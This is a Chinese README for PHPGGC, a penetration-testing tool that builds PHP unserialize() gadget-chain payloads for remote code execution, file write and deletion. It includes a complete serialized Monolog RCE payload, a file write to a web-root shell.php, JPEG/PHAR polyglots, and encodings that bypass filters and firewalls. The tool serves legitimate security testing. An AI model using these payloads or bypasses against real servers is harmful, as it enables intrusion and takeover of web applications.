ambionics/phpggc
GitHub: ambionics/phpggc
PHPGGC 是一款 PHP 反序列化利用链库与生成工具,旨在快速构建针对各大主流框架 unserialize 漏洞的攻击载荷。
Stars: 3755 | Forks: 545
# PHPGGC: PHP Generic Gadget Chains
*PHPGGC 是一个 unserialize() payload 库,并提供了一个从命令行或编程方式生成它们的工具*。
当你在某个网站上遇到 unserialize 漏洞但没有代码,或者仅仅是试图构建一个漏洞利用程序(exploit)时,这个工具允许你生成 payload,而无需经历寻找 gadget 并组合它们的繁琐步骤。它可以被视为 [frohoff 的 ysoserial](https://github.com/frohoff/ysoserial) 的 PHP 版本。
目前,该工具支持的 gadget chains 包括:CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii 和 ZendFramework。
## 环境要求
运行 PHPGGC 需要 PHP >= 5.6。
## 用法
运行 `./phpggc -l` 获取 gadget chains 列表:
```
$ ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
CodeIgniter4/FR1 4.0.0 <= 4.3.6 File read __toString *
CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE3 4.0.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct
CodeIgniter4/RCE6 -4.1.3 <= 4.2.10+ RCE (Function call) __destruct
Doctrine/FW1 ? File write __toString *
Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct *
Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct *
Dompdf/FD1 1.1.1 <= ? File delete __destruct *
...
```
筛选 gadget chains:
```
$ ./phpggc -l laravel
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
```
每个 gadget chain 包含:
- Name(名称):框架/库的名称
- Version(版本):gadget 对应的框架/库版本
- Type(类型):利用类型:RCE, File Write, File Read, Include...
- Vector(向量):反序列化后触发链的向量(`__destruct()`, `__toString()`, `offsetGet()`, ...)
- Informations(信息):关于该链的其他信息
使用 `-i` 获取关于某个链的详细信息:
```
$ ./phpggc -i symfony/rce1
Name : Symfony/RCE1
Version : 3.3
Type : rce
Vector : __destruct
Informations :
Exec through proc_open()
./phpggc Symfony/RCE1
```
对于 RCE gadgets,根据 gadget 的工作方式,执行的命令可以有 3 种格式:
- RCE (Command): `./phpggc Symfony/RCE1 id`
- RCE (PHP code): `./phpggc Symfony/RCE2 'phpinfo();'`
- RCE (Function call): `./phpggc Symfony/RCE4 system id`
一旦你选择了一个链,运行 `./phpggc [parameters]` 来获取 payload。
例如,要获取 Monolog 的 payload,你可以这样做:
```
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
```
要使用 SwiftMailer 进行文件写入,你可以这样做:
```
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
```
## Wrapper
`--wrapper` (`-w`) 选项允许你定义一个包含以下函数的 PHP 文件:
- `process_parameters(array $parameters)`: 在 `generate()` 之前调用,允许更改参数
- `process_object(object $object)`: 在 `serialize()` 之前调用,允许更改对象
- `process_serialized(string $serialized)`: 在 `serialize()` 之后调用,允许更改序列化字符串
例如,如果易受攻击的代码如下所示:
```
$object
);
}
```
然后像这样调用 phpggc:
```
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
```
## PHAR(GGC)
### 历史
在 BlackHat US 2018 上,@s_n_t 发布了 PHARGGC,这是 PHPGGC 的一个分支,它不是构建序列化 payload,而是构建一个完整的 PHAR 文件。这个 PHAR 文件包含序列化数据,因此可用于各种利用技术(`file_exists`, `fopen` 等)。论文在[这里](https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf)。
### 实现
PHAR 归档有三种不同的格式:**PHAR, TAR, 和 ZIP**。PHPGGC 支持这三种格式。
可以使用 `--phar-jpeg` (`-pj`) 生成多语言文件(Polyglot files)。还有其他选项可用(使用 `-h`)。
### 示例
```
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id
```
## 编码器
参数允许修改 payload 的输出方式。例如,`-u` 会对其进行 URL 编码,`-b` 会将其转换为 base64。
**Payload 通常包含 NULL 字节,因此无法按原样复制/粘贴**。使用 `-s` 进行软 URL 编码,这可以保持 payload 的可读性。
编码器可以链式使用,因此**顺序很重要**。例如,`./phpggc -b -u -u slim/rce1 system id` 会先对 payload 进行 base64 编码,然后进行两次 URL 编码。
## 高级:增强功能
### Fast destruct
PHPGGC 实现了一个 `--fast-destruct` (`-f`) 标志,它将确保你的序列化对象在 `unserialize()` 调用后立即被销毁,而不是在脚本结束时。**我建议在每个 `__destruct` 向量中使用它**,因为它提高了可靠性。例如,如果 PHP 脚本在调用后引发异常,你的对象的 `__destruct` 方法可能不会被调用。由于它与编码器同时处理,因此需要首先设置它。
```
$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...
```
### ASCII Strings
使用 `S` 序列化格式代替标准的 `s`。这会将每个非 ASCII 字符替换为十六进制表示:
`s:5:"AB";̀` -> `S:5:"A\00B\09\0D";`
当由于某种原因不允许非 ascii 字符(例如 NULL BYTE)时,这很有用。由于 payload 通常包含它们,这确保了 payload 仅由 ASCII 值组成。
*注意:这是实验性的,在某些情况下可能不起作用。*
### Armor Strings
使用 `S` 序列化格式代替标准的 `s`。这会将每个字符替换为十六进制表示:
`s:5:"AB";̀` -> `S:5:"\41\00\42\09\0D";`
当防火墙或 PHP 代码阻止字符串时,这很方便。
*注意:这是实验性的,在某些情况下可能不起作用。*
*注意:这会使 payload 中的每个字符串增长 3 倍。*
### Plus Numbers
有时,PHP 脚本会使用正则表达式(如 `/O:[0-9]+:`)验证给定的序列化 payload 是否不包含对象。使用 `O:+123:...` 代替 `O:123:` 可以轻松绕过这一点。可以使用 `--plus-numbers ` 或 `-n ` 自动在符号前添加这些 `+` 号。
例如,要混淆对象和字符串,可以使用:`--n Os`。请注意,自 PHP 7.2 起,只有 `i` 和 `d` (float) 类型可以带有 `+`。
### Public Properties
尝试将序列化 payload 中对受保护或私有属性的引用转换为公共。
这可能很有用,因为当 PHP 序列化对象的非公共属性时,它会在属性名称前加上星号(对于 protected)或类名(对于 private),并用空字节包围,如果 payload 以纯文本形式传输或存储而没有编码,这些字节很容易丢失。如果发生这种情况,payload 将无法反序列化,因为属性名称的字符串长度(以及名称本身)将不正确。
作为额外的好处,没有前缀的 payload 会稍微小一点。将属性转换为公共往往在较新的 PHP 版本中有效,但在旧版本(PHP 7.2 之前)中可能会导致问题。
如果链包含一个或多个具有自定义序列化/反序列化实现的对象,此功能可能无法正常工作。
### 测试你的链
要测试你想使用的 gadget chain 是否在目标环境中工作,跳转到你的环境文件夹并运行不带参数的链,使用 `--test-payload` 选项。
例如,要测试 `Monolog/RCE2` 是否在 Symfony `4.x` 上工作:
```
$ composer create-project symfony/website-skeleton=4.x some_symfony
$ cd some_symfony
$ phpggc monolog/rce2 --test-payload
Trying to deserialize payload...
SUCCESS: Payload triggered !
```
如果 payload 触发,退出代码将为 `0`,否则为 `1`。
### 针对包的每个版本测试你的链
如果你想知道某个 gadget chain 适用于包的哪些版本,可以使用 `test-gc-compatibility.py`。
```
$ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
Testing 59 versions for monolog/monolog against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.x-dev │ OK │ OK │ KO │
│ 2.3.0 │ OK │ OK │ KO │
│ 2.2.0 │ OK │ OK │ KO │
│ 2.1.1 │ OK │ OK │ KO │
│ 2.1.0 │ OK │ OK │ KO │
│ 2.0.2 │ OK │ OK │ KO │
│ 2.0.1 │ OK │ OK │ KO │
│ 2.0.0 │ OK │ OK │ KO │
│ 2.0.0-beta2 │ OK │ OK │ KO │
│ 2.0.0-beta1 │ OK │ OK │ KO │
│ 1.x-dev │ OK │ OK │ KO │
│ 1.26.1 │ OK │ OK │ KO │
│ 1.26.0 │ OK │ OK │ KO │
│ 1.25.5 │ OK │ OK │ KO │
│ 1.25.4 │ OK │ OK │ KO │
...
│ 1.0.1 │ OK │ KO │ KO │
│ 1.0.0 │ OK │ KO │ KO │
│ 1.0.0-RC1 │ OK │ KO │ KO │
│ dev-main │ OK │ OK │ KO │
│ * dev-phpstan │ OK │ OK │ KO │
└─────────────────┴─────────┴──────────────┴──────────────┘
```
你可以使用以下语法定义要测试的版本。
```
$ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3
Testing 2 versions for monolog/monolog against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.3.0 │ OK │ OK │ KO │
│ 1.25.4 │ OK │ OK │ KO │
└─────────────────┴─────────┴──────────────┴──────────────┘
```
# API
除了将 PHPGGC 用作命令行工具外,你还可以编写 PHP 脚本:
```
process_parameters([
'function' => 'system',
'parameter' => 'id',
]);
# 生成 payload
$object = $gc->generate($parameters);
# 大多数(如果不是全部)GC 不使用 process_object 和 process_serialized,所以
# 为了快速简便的代码,你可以省略这两个
$object = $gc->process_object($object);
# 序列化 payload
$serialized = serialize($object);
$serialized = $gc->process_serialized($serialized);
# 显示它
print($serialized . "\n");
# 从此 payload 创建 PHAR 文件
$phar = new \PHPGGC\Phar\Tar($serialized);
file_put_contents('output.phar.tar', $phar->generate());
```
这允许你更轻松地调整参数或编写漏洞利用程序。
*注意:目前这还处于试验阶段,所以请报告 bug。*
# 贡献
非常欢迎 Pull requests。请遵循这些简单的准则:
- `__destruct()` 总是最好的向量
- 至少指定你构建 payload 的库版本
- 如果 gadget 定义中的参数保持默认值,不要包含它们。这只会让 payload 变大。
- 遵守代码风格:例如,左括号 `{` 位于新行,数组应写为 `[1, 2, 3]` 而不是旧的 `array(1, 2, 3)` 表示法。
在代码方面,目录结构相当简单:_gadgets.php_ 中的 gadgets,_chain.php_ 中的描述 + 逻辑。
如果需要修改参数,你可以定义预处理和后处理方法。
希望已实现的 gadgets 足以让你构建自己的。
否则,我很乐意回答你的问题。
请测试尽可能多的版本。版本的命名法如下:`[-] <= [+]`。`-` 和 `+` 符号表示你的 payload 可能分别在更低和更高版本上工作。例如,如果你的 gadget chain 从 2.0.0 版本工作到 4.4.1 版本(这是当时的最后一个版本),请使用 `2.0.0 <= 4.4.1+`。
`--new ` 命令行选项可用于为新的 gadget chain 创建目录和文件结构。
例如,使用 `./phpggc -n Drupal RCE` 将创建一个新的 Drupal RCE gadgetchain。
# Docker
如果你不想安装 PHP,可以使用以下命令构建 docker 镜像:
```
$ docker build . -t 'phpggc'
```
然后你可以使用 docker 化的 `phpggc`。
### 生成 gadget chain
```
$ docker run phpggc Monolog/rce1 'system' 'id'
```
### 测试链
跳转到你的环境文件夹并运行不带参数的链,使用 `--test-payload` 选项:
```
$ docker run -v "$(pwd)":/app -w /app phpggc Monolog/RCE9 --test-payload
```
### 生成 phar / polyglot 文件
```
$ docker run -v "$(pwd)":/images phpggc -pj /images/dummy.jpg -o /images/z.zip.phar Monolog/RCE9 system id
```
### 运行 `test-gc-compatibility.py`
```
$ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2
Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS).
Testing 2 versions for doctrine/doctrine-bundle against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓
┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩
│ 2.2 │ OK │ OK │ OK │
│ 2.7.2 │ OK │ OK │ KO │
└──────────────────────────┴─────────┴───────────────┴───────────────┘
```
# 许可证
[Apache License 2.0](LICENSE)
标签:CISA项目, CTF工具, ffuf, ffuf, Gadget Chain, OpenVAS, Payload生成, PHP, PHPGGC, RCE, Web安全, ysoserial替代, 反序列化漏洞, 漏洞搜索, 网络安全, 蓝队分析, 请求拦截, 逆向工具, 隐私保护